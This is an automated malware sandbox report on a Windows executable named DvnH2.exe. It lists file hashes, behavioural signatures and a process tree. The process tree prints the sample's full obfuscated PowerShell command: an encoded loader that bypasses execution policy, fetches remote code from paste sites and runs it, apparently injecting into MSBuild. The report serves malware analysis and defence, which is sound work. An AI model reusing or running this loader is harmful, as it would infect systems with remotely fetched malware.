Analysis
-
max time kernel
143s -
max time network
88s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
09-07-2020 13:48
Static task
static1
Behavioral task
behavioral1
Sample
DvnH2.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DvnH2.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
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Target
DvnH2.exe
-
Size
847KB
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MD5
bc23e4cf90c63d9a84eb905e6ec82f82
-
SHA1
b82df977fcc19b730ac2cdacec7d3b93617c57ed
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SHA256
0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16
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SHA512
01007caceb1e777b55d3118f7cb21117f2ca17b4caf211108b90de705c490c472df859da2802d015329b856d1be303bff6f73a624cb720682cea3f1cd0dcddd4
Score
3/10
Malware Config
Signatures
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Suspicious use of WriteProcessMemory 3 IoCs
Processes:
DvnH2.exedescription pid process target process PID 3824 wrote to memory of 2852 3824 DvnH2.exe powershell.exe PID 3824 wrote to memory of 2852 3824 DvnH2.exe powershell.exe PID 3824 wrote to memory of 2852 3824 DvnH2.exe powershell.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 340 2852 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 340 WerFault.exe Token: SeBackupPrivilege 340 WerFault.exe Token: SeDebugPrivilege 340 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe 340 WerFault.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA2⤵PID:2852
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:340